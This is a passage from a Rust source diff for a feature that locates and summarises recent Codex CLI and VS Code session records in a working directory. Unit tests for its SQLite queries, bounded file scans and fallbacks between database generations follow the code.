ForeignSessionSource::CodexCli | ForeignSessionSource::CodexVsCode
|
||||
) {
|
||||
return None;
|
||||
}
|
||||
Some(RecentCandidate {
|
||||
tool: ForeignSessionTool::Codex,
|
||||
source,
|
||||
native_id: candidate.id,
|
||||
updated_at: candidate.modified,
|
||||
})
|
||||
});
|
||||
if candidate.is_none() && truncated {
|
||||
RecentProbe::Incomplete
|
||||
} else {
|
||||
RecentProbe::Complete(candidate)
|
||||
}
|
||||
}
|
||||
|
||||
fn collect_recent_candidates(
|
||||
root: &ApprovedRoot,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
) -> Option<(Vec<Candidate>, bool)> {
|
||||
let mut candidates = Vec::with_capacity(MAX_RECENT_METADATA_READS);
|
||||
let mut remaining_entries = MAX_RECENT_DIRECTORY_ENTRIES;
|
||||
let mut qualifying = 0;
|
||||
let local_offset = DateTime::<Local>::from(now).offset().local_minus_utc();
|
||||
for date_dir in recent_date_dirs(root.path(), now, local_offset) {
|
||||
let Some(date_root) = root.subroot(&date_dir) else {
|
||||
continue;
|
||||
};
|
||||
let outcome = date_root.for_each_entry_bounded(remaining_entries, |name| {
|
||||
let path = date_root.join(&name);
|
||||
let Some(id) = rollout_id(&path) else {
|
||||
return;
|
||||
};
|
||||
let Some((path, metadata)) = date_root.resolve_regular_file(&path) else {
|
||||
return;
|
||||
};
|
||||
let Ok(modified) = metadata.modified() else {
|
||||
return;
|
||||
};
|
||||
if is_within(modified, now, within) {
|
||||
qualifying += 1;
|
||||
retain_top_k_by(
|
||||
&mut candidates,
|
||||
Candidate {
|
||||
root: date_root.clone(),
|
||||
path,
|
||||
id,
|
||||
modified,
|
||||
},
|
||||
MAX_RECENT_METADATA_READS,
|
||||
candidate_order,
|
||||
);
|
||||
}
|
||||
});
|
||||
remaining_entries = remaining_entries.saturating_sub(outcome.visited);
|
||||
if !outcome.complete {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
Some((candidates, qualifying > MAX_RECENT_METADATA_READS))
|
||||
}
|
||||
|
||||
fn collect_candidates(
|
||||
root: &ApprovedRoot,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
limit: usize,
|
||||
) -> Vec<Candidate> {
|
||||
let mut candidates = Vec::with_capacity(limit);
|
||||
let local_offset = DateTime::<Local>::from(now).offset().local_minus_utc();
|
||||
for date_dir in recent_date_dirs(root.path(), now, local_offset) {
|
||||
let Some(date_root) = root.subroot(&date_dir) else {
|
||||
continue;
|
||||
};
|
||||
let mut date_candidates = Vec::with_capacity(limit);
|
||||
// Enumerate every direct rollout entry in the fixed date window so
|
||||
// filesystem order cannot decide which files receive the head-read budget.
|
||||
let complete = date_root.for_each_entry(|name| {
|
||||
let path = date_root.join(&name);
|
||||
let Some(id) = rollout_id(&path) else {
|
||||
return;
|
||||
};
|
||||
let Some((path, metadata)) = date_root.resolve_regular_file(&path) else {
|
||||
return;
|
||||
};
|
||||
let Ok(modified) = metadata.modified() else {
|
||||
return;
|
||||
};
|
||||
if is_within(modified, now, within) {
|
||||
retain_top_k_by(
|
||||
&mut date_candidates,
|
||||
Candidate {
|
||||
root: date_root.clone(),
|
||||
path,
|
||||
id,
|
||||
modified,
|
||||
},
|
||||
limit,
|
||||
candidate_order,
|
||||
);
|
||||
}
|
||||
});
|
||||
if !complete {
|
||||
continue;
|
||||
}
|
||||
for candidate in date_candidates {
|
||||
retain_top_k_by(&mut candidates, candidate, limit, candidate_order);
|
||||
}
|
||||
}
|
||||
candidates
|
||||
}
|
||||
|
||||
fn candidate_order(a: &Candidate, b: &Candidate) -> std::cmp::Ordering {
|
||||
b.modified
|
||||
.cmp(&a.modified)
|
||||
.then_with(|| a.id.cmp(&b.id))
|
||||
.then_with(|| a.path.cmp(&b.path))
|
||||
}
|
||||
|
||||
pub(super) fn recent_date_dirs(
|
||||
root: &Path,
|
||||
now: SystemTime,
|
||||
local_offset_seconds: i32,
|
||||
) -> Vec<PathBuf> {
|
||||
let utc = DateTime::<Utc>::from(now);
|
||||
let local = utc + TimeDelta::seconds(i64::from(local_offset_seconds));
|
||||
let mut dates = [utc.date_naive(), local.date_naive()]
|
||||
.into_iter()
|
||||
.flat_map(|today| {
|
||||
(0..DAYS_IN_WINDOW)
|
||||
.filter_map(move |days| today.checked_sub_days(Days::new(days as u64)))
|
||||
})
|
||||
.collect::<HashSet<_>>()
|
||||
.into_iter()
|
||||
.collect::<Vec<_>>();
|
||||
dates.sort_by(|a, b| b.cmp(a));
|
||||
dates.truncate(MAX_DATE_DIRS);
|
||||
dates
|
||||
.into_iter()
|
||||
.map(|date| {
|
||||
root.join(format!("{:04}", date.year()))
|
||||
.join(format!("{:02}", date.month()))
|
||||
.join(format!("{:02}", date.day()))
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn read_candidate(candidate: Candidate, requested_cwd: &Path) -> Option<ForeignSessionSummary> {
|
||||
let (
|
||||
HeadMetadata {
|
||||
branch,
|
||||
first_user_message,
|
||||
..
|
||||
},
|
||||
source,
|
||||
stored_cwd,
|
||||
) = qualify_candidate(&candidate, requested_cwd)?;
|
||||
let title = title("", first_user_message.as_deref().unwrap_or(""))?;
|
||||
Some(ForeignSessionSummary {
|
||||
tool: ForeignSessionTool::Codex,
|
||||
source,
|
||||
native_id: candidate.id,
|
||||
title,
|
||||
cwd: PathBuf::from(stored_cwd),
|
||||
updated_at: candidate.modified,
|
||||
branch,
|
||||
})
|
||||
}
|
||||
|
||||
fn qualify_candidate(
|
||||
candidate: &Candidate,
|
||||
requested_cwd: &Path,
|
||||
) -> Option<(HeadMetadata, ForeignSessionSource, String)> {
|
||||
let metadata = read_head(&candidate.root, &candidate.path)?;
|
||||
if metadata.id? != uuid::Uuid::try_parse(&candidate.id).ok()? {
|
||||
return None;
|
||||
}
|
||||
let stored_cwd = metadata.cwd.clone()?;
|
||||
if Path::new(&stored_cwd) != requested_cwd {
|
||||
return None;
|
||||
}
|
||||
let source = metadata.source?;
|
||||
Some((metadata, source, stored_cwd))
|
||||
}
|
||||
|
||||
fn read_head(root: &ApprovedRoot, path: &Path) -> Option<HeadMetadata> {
|
||||
let file = root.open_regular_file(path)?.file;
|
||||
if path.extension().and_then(|extension| extension.to_str()) == Some("zst") {
|
||||
let compressed = file.take(MAX_COMPRESSED_HEAD_BYTES as u64);
|
||||
let mut decoder = zstd::Decoder::new(compressed).ok()?;
|
||||
decoder.window_log_max(MAX_ZSTD_WINDOW_LOG).ok()?;
|
||||
let decoder = decoder.single_frame();
|
||||
parse_head(BufReader::new(decoder.take(MAX_HEAD_BYTES as u64)))
|
||||
} else {
|
||||
parse_head(BufReader::new(file.take(MAX_HEAD_BYTES as u64)))
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_head(mut reader: impl BufRead) -> Option<HeadMetadata> {
|
||||
let mut line = String::new();
|
||||
let mut total = 0;
|
||||
let mut metadata = HeadMetadata::default();
|
||||
let mut saw_session_meta = false;
|
||||
for _ in 0..MAX_HEAD_RECORDS {
|
||||
line.clear();
|
||||
let read = reader.read_line(&mut line).ok()?;
|
||||
if read == 0 {
|
||||
break;
|
||||
}
|
||||
total += read;
|
||||
if total > MAX_HEAD_BYTES {
|
||||
break;
|
||||
}
|
||||
let Ok(record) = serde_json::from_str::<Value>(&line) else {
|
||||
continue;
|
||||
};
|
||||
let record_type = record.get("type").and_then(Value::as_str);
|
||||
let payload = record.get("payload").unwrap_or(&Value::Null);
|
||||
if record_type == Some("session_meta") && !saw_session_meta {
|
||||
saw_session_meta = true;
|
||||
metadata.id = payload
|
||||
.get("id")
|
||||
.and_then(Value::as_str)
|
||||
.and_then(|id| uuid::Uuid::try_parse(id).ok());
|
||||
metadata.cwd = payload
|
||||
.get("cwd")
|
||||
.and_then(Value::as_str)
|
||||
.map(str::to_owned);
|
||||
metadata.source = payload.get("source").and_then(source_from_value);
|
||||
metadata.branch = payload
|
||||
.pointer("/git/branch")
|
||||
.or_else(|| payload.get("git_branch"))
|
||||
.and_then(Value::as_str)
|
||||
.and_then(normalize_title);
|
||||
}
|
||||
if metadata.first_user_message.is_none() {
|
||||
metadata.first_user_message = user_message(payload).and_then(normalize_title);
|
||||
}
|
||||
}
|
||||
Some(metadata)
|
||||
}
|
||||
|
||||
fn user_message(payload: &Value) -> Option<&str> {
|
||||
if payload.get("type").and_then(Value::as_str) == Some("user_message") {
|
||||
return payload.get("message").and_then(Value::as_str);
|
||||
}
|
||||
if payload.get("type").and_then(Value::as_str) != Some("message")
|
||||
|| payload.get("role").and_then(Value::as_str) != Some("user")
|
||||
{
|
||||
return None;
|
||||
}
|
||||
let text = payload
|
||||
.get("content")?
|
||||
.as_array()?
|
||||
.iter()
|
||||
.find_map(|item| match item.get("type").and_then(Value::as_str) {
|
||||
Some("input_text" | "text") => item.get("text").and_then(Value::as_str),
|
||||
_ => None,
|
||||
})?;
|
||||
let trimmed = text.trim_start();
|
||||
(!trimmed.starts_with("<environment_context>") && !trimmed.starts_with("<user_instructions>"))
|
||||
.then_some(text)
|
||||
}
|
||||
@@ -0,0 +1,194 @@
|
||||
use std::path::{Component, Path, PathBuf};
|
||||
use std::time::{Duration, SystemTime};
|
||||
|
||||
use serde_json::Value;
|
||||
|
||||
mod db;
|
||||
mod files;
|
||||
|
||||
use super::{
|
||||
ApprovedRoot, ForeignSessionSource, ForeignSessionSummary, RecentCandidate, RecentProbe,
|
||||
approved_root_for_recent, finish_tool_scan, normalize_title,
|
||||
};
|
||||
|
||||
// Codex is currently on single-digit state generations. Probe a generous,
|
||||
// deterministic supported range without enumerating unrelated CODEX_HOME files.
|
||||
const MAX_STATE_DB_GENERATION: u32 = 128;
|
||||
|
||||
pub(super) fn scan(cwd: &Path, now: SystemTime) -> Vec<ForeignSessionSummary> {
|
||||
let Some(codex_home) = std::env::var_os("CODEX_HOME")
|
||||
.map(PathBuf::from)
|
||||
.or_else(|| dirs::home_dir().map(|home| home.join(".codex")))
|
||||
else {
|
||||
return Vec::new();
|
||||
};
|
||||
scan_in_home(&codex_home, cwd, now)
|
||||
}
|
||||
|
||||
pub(super) fn most_recent(
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
) -> RecentProbe<RecentCandidate> {
|
||||
let Some(codex_home) = std::env::var_os("CODEX_HOME")
|
||||
.map(PathBuf::from)
|
||||
.or_else(|| dirs::home_dir().map(|home| home.join(".codex")))
|
||||
else {
|
||||
return RecentProbe::Complete(None);
|
||||
};
|
||||
most_recent_in_home(&codex_home, cwd, now, within)
|
||||
}
|
||||
|
||||
fn scan_in_home(codex_home: &Path, cwd: &Path, now: SystemTime) -> Vec<ForeignSessionSummary> {
|
||||
let Some(root) = ApprovedRoot::new(codex_home) else {
|
||||
return Vec::new();
|
||||
};
|
||||
let sessions = state_databases(&root)
|
||||
.find_map(|path| {
|
||||
db::scan_database(&root, &path, cwd, now).filter(|sessions| !sessions.is_empty())
|
||||
})
|
||||
.unwrap_or_else(|| files::scan_rollouts(&root, cwd, now));
|
||||
finish_tool_scan(sessions)
|
||||
}
|
||||
|
||||
fn most_recent_in_home(
|
||||
codex_home: &Path,
|
||||
cwd: &Path,
|
||||
now: SystemTime,
|
||||
within: Duration,
|
||||
) -> RecentProbe<RecentCandidate> {
|
||||
let root = match approved_root_for_recent(codex_home) {
|
||||
Ok(Some(root)) => root,
|
||||
Ok(None) => return RecentProbe::Complete(None),
|
||||
Err(()) => return RecentProbe::Incomplete,
|
||||
};
|
||||
let Some(path) = highest_named_state_database(&root) else {
|
||||
return files::most_recent_rollout(&root, cwd, now, within);
|
||||
};
|
||||
match db::most_recent_database(&root, &path, cwd, now, within) {
|
||||
db::RecentDatabaseResult::Usable(candidate) => RecentProbe::Complete(candidate),
|
||||
db::RecentDatabaseResult::Incomplete => RecentProbe::Incomplete,
|
||||
db::RecentDatabaseResult::Unusable => files::most_recent_rollout(&root, cwd, now, within),
|
||||
}
|
||||
}
|
||||
|
||||
fn highest_named_state_database(root: &ApprovedRoot) -> Option<PathBuf> {
|
||||
(0..=MAX_STATE_DB_GENERATION).rev().find_map(|generation| {
|
||||
let path = root.join(format!("state_{generation}.sqlite"));
|
||||
match std::fs::symlink_metadata(&path) {
|
||||
Ok(_) => Some(path),
|
||||
Err(error) if error.kind() == std::io::ErrorKind::NotFound => None,
|
||||
Err(_) => Some(path),
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
fn state_databases(root: &ApprovedRoot) -> impl Iterator<Item = PathBuf> + '_ {
|
||||
(0..=MAX_STATE_DB_GENERATION)
|
||||
.rev()
|
||||
.filter_map(move |generation| {
|
||||
let path = root.join(format!("state_{generation}.sqlite"));
|
||||
root.resolve_regular_file(&path).map(|(path, _)| path)
|
||||
})
|
||||
}
|
||||
|
||||
fn source_from_str(source: &str) -> Option<ForeignSessionSource> {
|
||||
match source {
|
||||
"cli" => Some(ForeignSessionSource::CodexCli),
|
||||
"vscode" => Some(ForeignSessionSource::CodexVsCode),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
fn source_from_persisted(source: &str) -> Option<ForeignSessionSource> {
|
||||
source_from_str(source).or_else(|| {
|
||||
let value = serde_json::from_str::<Value>(source).ok()?;
|
||||
source_from_value(&value)
|
||||
})
|
||||
}
|
||||
|
||||
fn source_from_value(source: &Value) -> Option<ForeignSessionSource> {
|
||||
source
|
||||
.as_str()
|
||||
.and_then(source_from_str)
|
||||
.or_else(|| match source.get("custom")?.as_str()? {
|
||||
"atlas" => Some(ForeignSessionSource::CodexAtlas),
|
||||
"chatgpt" => Some(ForeignSessionSource::CodexChatGpt),
|
||||
_ => None,
|
||||
})
|
||||
}
|
||||
|
||||
fn existing_rollout_path(root: &ApprovedRoot, value: &str, expected_id: &str) -> Option<PathBuf> {
|
||||
let path = PathBuf::from(value);
|
||||
if path.components().any(|part| part == Component::ParentDir) {
|
||||
return None;
|
||||
}
|
||||
let path = if path.is_absolute() {
|
||||
path
|
||||
} else {
|
||||
root.join(path)
|
||||
};
|
||||
let mut compressed = path.clone().into_os_string();
|
||||
compressed.push(".zst");
|
||||
let approved_prefixes = ["sessions", "archived_sessions"]
|
||||
.into_iter()
|
||||
.filter_map(|name| dunce::canonicalize(root.join(name)).ok())
|
||||
.filter(|path| path.starts_with(root.path()))
|
||||
.collect::<Vec<_>>();
|
||||
[path, PathBuf::from(compressed)]
|
||||
.into_iter()
|
||||
.filter_map(|candidate| root.open_regular_file(&candidate).map(|opened| opened.path))
|
||||
.find(|candidate| {
|
||||
rollout_id(candidate).as_deref() == Some(expected_id)
|
||||
&& approved_prefixes
|
||||
.iter()
|
||||
.any(|prefix| candidate.starts_with(prefix))
|
||||
})
|
||||
}
|
||||
|
||||
fn rollout_id(path: &Path) -> Option<String> {
|
||||
let name = path.file_name()?.to_str()?;
|
||||
let stem = name
|
||||
.strip_suffix(".jsonl.zst")
|
||||
.or_else(|| name.strip_suffix(".jsonl"))?;
|
||||
let value = stem.strip_prefix("rollout-")?;
|
||||
let id_start = value.len().checked_sub(36)?;
|
||||
if id_start == 0 || value.as_bytes().get(id_start - 1) != Some(&b'-') {
|
||||
return None;
|
||||
}
|
||||
let timestamp = &value[..id_start - 1];
|
||||
if timestamp.len() != 19 {
|
||||
return None;
|
||||
}
|
||||
chrono::NaiveDateTime::parse_from_str(timestamp, "%Y-%m-%dT%H-%M-%S").ok()?;
|
||||
let id = &value[id_start..];
|
||||
uuid::Uuid::try_parse(id).ok()?;
|
||||
Some(id.to_owned())
|
||||
}
|
||||
|
||||
fn title(primary: &str, fallback: &str) -> Option<String> {
|
||||
normalize_title(primary).or_else(|| normalize_title(fallback))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod fixed_path_tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn fixed_rollout_qualification_does_not_require_enumeration() {
|
||||
let (_tempdir, root) = crate::foreign_sessions::canonical_tempdir();
|
||||
let sessions = root.join("sessions/2027/01/15");
|
||||
std::fs::create_dir_all(&sessions).unwrap();
|
||||
let id = uuid::Uuid::from_u128(9_000);
|
||||
let rollout = sessions.join(format!("rollout-2027-01-15T12-00-00-{id}.jsonl"));
|
||||
std::fs::write(&rollout, "").unwrap();
|
||||
let approved = ApprovedRoot::new(&root).unwrap();
|
||||
assert_eq!(
|
||||
existing_rollout_path(&approved, &rollout.to_string_lossy(), &id.to_string()),
|
||||
Some(dunce::canonicalize(&rollout).unwrap())
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(all(test, unix))]
|
||||
mod tests;
|
||||
@@ -0,0 +1,889 @@
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn codex_query_uses_cwd_index_and_length_metadata_opcode() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let db_path = root.path().join("state.sqlite");
|
||||
create_db(&db_path, &[]);
|
||||
let connection = Connection::open(&db_path).unwrap();
|
||||
let columns = [
|
||||
"id",
|
||||
"rollout_path",
|
||||
"updated_at_ms",
|
||||
"source",
|
||||
"cwd",
|
||||
"title",
|
||||
"first_user_message",
|
||||
"archived",
|
||||
"git_branch",
|
||||
]
|
||||
.into_iter()
|
||||
.map(str::to_owned)
|
||||
.collect::<std::collections::HashSet<_>>();
|
||||
let sql = super::super::db::scan_sql(&columns).unwrap();
|
||||
let mut plan = connection
|
||||
.prepare(&format!("EXPLAIN QUERY PLAN {sql}"))
|
||||
.unwrap();
|
||||
let details = plan
|
||||
.query_map(params!["/repo", 0_i64, i64::MAX], |row| {
|
||||
row.get::<_, String>(3)
|
||||
})
|
||||
.unwrap()
|
||||
.flatten()
|
||||
.collect::<Vec<_>>();
|
||||
assert!(details.iter().any(|detail| {
|
||||
detail.contains("SEARCH threads USING INDEX threads_archived_cwd_updated")
|
||||
&& detail.contains("archived=? AND cwd=?")
|
||||
}));
|
||||
assert!(
|
||||
details
|
||||
.iter()
|
||||
.any(|detail| detail.contains("USE TEMP B-TREE FOR ORDER BY"))
|
||||
);
|
||||
|
||||
let mut bytecode = connection.prepare(&format!("EXPLAIN {sql}")).unwrap();
|
||||
let columns = bytecode
|
||||
.query_map(params!["/repo", 0_i64, i64::MAX], |row| {
|
||||
Ok((
|
||||
row.get::<_, String>(1)?,
|
||||
row.get::<_, i64>(3)?,
|
||||
row.get::<_, i64>(6)?,
|
||||
))
|
||||
})
|
||||
.unwrap()
|
||||
.flatten()
|
||||
.collect::<Vec<_>>();
|
||||
for column in [0_i64, 1, 5, 6, 8] {
|
||||
assert!(columns.iter().any(|(opcode, p2, p5)| {
|
||||
opcode == "Column" && *p2 == column && (*p5 & 0xc0) == 0xc0
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_database_probe_is_windowed_bounded_and_keeps_source_filters() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let cwd = root.join("repo");
|
||||
let rollout_dir = root.join("sessions/2027/01/15");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
fs::create_dir_all(&rollout_dir).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_000_000);
|
||||
let winner = uuid::Uuid::from_u128(90);
|
||||
let winner_rollout = rollout_path(&rollout_dir, winner);
|
||||
fs::write(&winner_rollout, "").unwrap();
|
||||
let missing = rollout_path(&rollout_dir, uuid::Uuid::from_u128(91));
|
||||
let db_path = root.join("state_9.sqlite");
|
||||
create_db(
|
||||
&db_path,
|
||||
&[
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(93),
|
||||
rollout_path: &winner_rollout,
|
||||
updated_at_ms: millis_from_system_time(now + Duration::from_secs(1)).unwrap(),
|
||||
source: r#"{"custom":"atlas"}"#,
|
||||
cwd: &cwd,
|
||||
title: "excluded custom source",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(92),
|
||||
rollout_path: &winner_rollout,
|
||||
updated_at_ms: millis_from_system_time(now).unwrap(),
|
||||
source: r#"{"subagent":"review"}"#,
|
||||
cwd: &cwd,
|
||||
title: "excluded",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: uuid::Uuid::from_u128(91),
|
||||
rollout_path: &missing,
|
||||
updated_at_ms: millis_from_system_time(now - Duration::from_secs(1)).unwrap(),
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "missing rollout",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
DbRow {
|
||||
id: winner,
|
||||
rollout_path: &winner_rollout,
|
||||
updated_at_ms: millis_from_system_time(now - Duration::from_secs(2)).unwrap(),
|
||||
source: "vscode",
|
||||
cwd: &cwd,
|
||||
title: "",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
},
|
||||
],
|
||||
);
|
||||
|
||||
let found = most_recent_in_home(&root, &cwd, now, Duration::from_secs(600)).unwrap();
|
||||
assert_eq!(found.native_id, winner.to_string());
|
||||
assert_eq!(found.source, ForeignSessionSource::CodexVsCode);
|
||||
|
||||
let columns = [
|
||||
"id",
|
||||
"rollout_path",
|
||||
"updated_at_ms",
|
||||
"source",
|
||||
"cwd",
|
||||
"title",
|
||||
"first_user_message",
|
||||
"archived",
|
||||
"git_branch",
|
||||
]
|
||||
.into_iter()
|
||||
.map(str::to_owned)
|
||||
.collect::<std::collections::HashSet<_>>();
|
||||
let sql = super::super::db::recent_scan_sql(&columns).unwrap();
|
||||
assert!(sql.contains("source IN ('cli', 'vscode')"));
|
||||
assert!(!sql.contains("custom"));
|
||||
assert!(sql.contains(&format!(
|
||||
"LIMIT {}",
|
||||
super::super::db::MAX_RECENT_DB_CANDIDATES + 1
|
||||
)));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_database_sentinel_marks_invalid_window_incomplete() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
let sessions = root.path().join("sessions");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
fs::create_dir_all(&sessions).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_010_000);
|
||||
let valid_id = uuid::Uuid::from_u128(190);
|
||||
let valid_rollout = rollout_path(&sessions, valid_id);
|
||||
fs::write(&valid_rollout, "").unwrap();
|
||||
let db_path = root.path().join("state_10.sqlite");
|
||||
create_db(&db_path, &[]);
|
||||
let connection = Connection::open(&db_path).unwrap();
|
||||
for index in 0..super::super::db::MAX_RECENT_DB_CANDIDATES {
|
||||
connection
|
||||
.execute(
|
||||
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, 'invalid', '', 0, NULL)",
|
||||
params![
|
||||
uuid::Uuid::from_u128(10_000 + index as u128).to_string(),
|
||||
sessions
|
||||
.join(format!("missing-{index}.jsonl"))
|
||||
.display()
|
||||
.to_string(),
|
||||
millis_from_system_time(now - Duration::from_secs(index as u64)).unwrap(),
|
||||
cwd.display().to_string(),
|
||||
],
|
||||
)
|
||||
.unwrap();
|
||||
}
|
||||
assert_eq!(
|
||||
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600)),
|
||||
RecentProbe::Complete(None),
|
||||
);
|
||||
connection
|
||||
.execute(
|
||||
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, 'ninth valid', '', 0, NULL)",
|
||||
params![
|
||||
valid_id.to_string(),
|
||||
valid_rollout.display().to_string(),
|
||||
millis_from_system_time(now - Duration::from_secs(20)).unwrap(),
|
||||
cwd.display().to_string(),
|
||||
],
|
||||
)
|
||||
.unwrap();
|
||||
drop(connection);
|
||||
|
||||
assert_eq!(
|
||||
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600)),
|
||||
RecentProbe::Incomplete,
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_database_row_decode_error_is_incomplete() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let cwd = root.join("repo");
|
||||
let sessions = root.join("sessions");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
fs::create_dir_all(&sessions).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_015_000);
|
||||
let older_id = uuid::Uuid::from_u128(191);
|
||||
let older_rollout = rollout_path(&sessions, older_id);
|
||||
fs::write(&older_rollout, "").unwrap();
|
||||
let db_path = root.join("state_10.sqlite");
|
||||
create_db(
|
||||
&db_path,
|
||||
&[DbRow {
|
||||
id: older_id,
|
||||
rollout_path: &older_rollout,
|
||||
updated_at_ms: millis_from_system_time(now - Duration::from_secs(1)).unwrap(),
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "older valid",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
}],
|
||||
);
|
||||
let broken_id = uuid::Uuid::from_u128(192);
|
||||
let broken_rollout = rollout_path(&sessions, broken_id);
|
||||
fs::write(&broken_rollout, "").unwrap();
|
||||
let connection = Connection::open(&db_path).unwrap();
|
||||
connection
|
||||
.execute(
|
||||
"INSERT INTO threads VALUES (?1, ?2, ?3, 'cli', ?4, CAST(x'80' AS TEXT), '', 0, NULL)",
|
||||
params![
|
||||
broken_id.to_string(),
|
||||
broken_rollout.display().to_string(),
|
||||
millis_from_system_time(now).unwrap(),
|
||||
cwd.display().to_string(),
|
||||
],
|
||||
)
|
||||
.unwrap();
|
||||
drop(connection);
|
||||
|
||||
assert_eq!(
|
||||
most_recent_in_home(&root, &cwd, now, Duration::from_secs(600)),
|
||||
RecentProbe::Incomplete,
|
||||
);
|
||||
let full = scan_in_home(&root, &cwd, now);
|
||||
assert_eq!(full.len(), 1);
|
||||
assert_eq!(full[0].native_id, older_id.to_string());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn recent_database_tri_state_uses_only_current_generation() {
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_020_000);
|
||||
|
||||
let readable = TempDir::new().unwrap();
|
||||
let readable_cwd = readable.path().join("repo");
|
||||
fs::create_dir_all(&readable_cwd).unwrap();
|
||||
let older_id = uuid::Uuid::from_u128(200);
|
||||
let older_rollout =
|
||||
write_recent_rollout(readable.path(), &readable_cwd, now, older_id, json!("cli"));
|
||||
create_db(
|
||||
&readable.path().join("state_9.sqlite"),
|
||||
&[DbRow {
|
||||
id: older_id,
|
||||
rollout_path: &older_rollout,
|
||||
updated_at_ms: millis_from_system_time(now).unwrap(),
|
||||
source: "cli",
|
||||
cwd: &readable_cwd,
|
||||
title: "obsolete generation",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
}],
|
||||
);
|
||||
create_db(&readable.path().join("state_10.sqlite"), &[]);
|
||||
assert!(
|
||||
most_recent_in_home(
|
||||
readable.path(),
|
||||
&readable_cwd,
|
||||
now,
|
||||
Duration::from_secs(600)
|
||||
)
|
||||
.is_none(),
|
||||
"a usable empty current index must suppress obsolete DB and rollout fallback"
|
||||
);
|
||||
|
||||
let unreadable = TempDir::new().unwrap();
|
||||
let unreadable_cwd = unreadable.path().join("repo");
|
||||
fs::create_dir_all(&unreadable_cwd).unwrap();
|
||||
let fallback_id = uuid::Uuid::from_u128(201);
|
||||
write_recent_rollout(
|
||||
unreadable.path(),
|
||||
&unreadable_cwd,
|
||||
now,
|
||||
fallback_id,
|
||||
json!("vscode"),
|
||||
);
|
||||
fs::write(unreadable.path().join("state_10.sqlite"), "not sqlite").unwrap();
|
||||
assert_eq!(
|
||||
most_recent_in_home(
|
||||
unreadable.path(),
|
||||
&unreadable_cwd,
|
||||
now,
|
||||
Duration::from_secs(600)
|
||||
)
|
||||
.unwrap()
|
||||
.native_id,
|
||||
fallback_id.to_string()
|
||||
);
|
||||
|
||||
let absent = TempDir::new().unwrap();
|
||||
let absent_cwd = absent.path().join("repo");
|
||||
fs::create_dir_all(&absent_cwd).unwrap();
|
||||
let absent_id = uuid::Uuid::from_u128(202);
|
||||
write_recent_rollout(absent.path(), &absent_cwd, now, absent_id, json!("cli"));
|
||||
assert_eq!(
|
||||
most_recent_in_home(absent.path(), &absent_cwd, now, Duration::from_secs(600))
|
||||
.unwrap()
|
||||
.native_id,
|
||||
absent_id.to_string()
|
||||
);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn recent_database_unsafe_highest_uses_fallback_not_older_database() {
|
||||
let root = TempDir::new().unwrap();
|
||||
let cwd = root.path().join("repo");
|
||||
fs::create_dir_all(&cwd).unwrap();
|
||||
let now = UNIX_EPOCH + Duration::from_secs(1_800_025_000);
|
||||
let older_id = uuid::Uuid::from_u128(210);
|
||||
let older_rollout = write_recent_rollout(root.path(), &cwd, now, older_id, json!("cli"));
|
||||
touch(&older_rollout, now - Duration::from_secs(60 * 60));
|
||||
let older_db = root.path().join("state_9.sqlite");
|
||||
create_db(
|
||||
&older_db,
|
||||
&[DbRow {
|
||||
id: older_id,
|
||||
rollout_path: &older_rollout,
|
||||
updated_at_ms: millis_from_system_time(now).unwrap(),
|
||||
source: "cli",
|
||||
cwd: &cwd,
|
||||
title: "must not use older DB",
|
||||
first_user_message: "",
|
||||
archived: false,
|
||||
}],
|
||||
);
|
||||
std::os::unix::fs::symlink(&older_db, root.path().join("state_10.sqlite")).unwrap();
|
||||
|
||||
let fallback_id = uuid::Uuid::from_u128(211);
|
||||
write_recent_rollout(root.path(), &cwd, now, fallback_id, json!("vscode"));
|
||||
assert_eq!(
|
||||
most_recent_in_home(root.path(), &cwd, now, Duration::from_secs(600))
|
||||
.unwrap()
|
||||
.native_id,
|
||||
fallback_id.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn highest_database_filters_sources_paths_cwd_and_millis() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
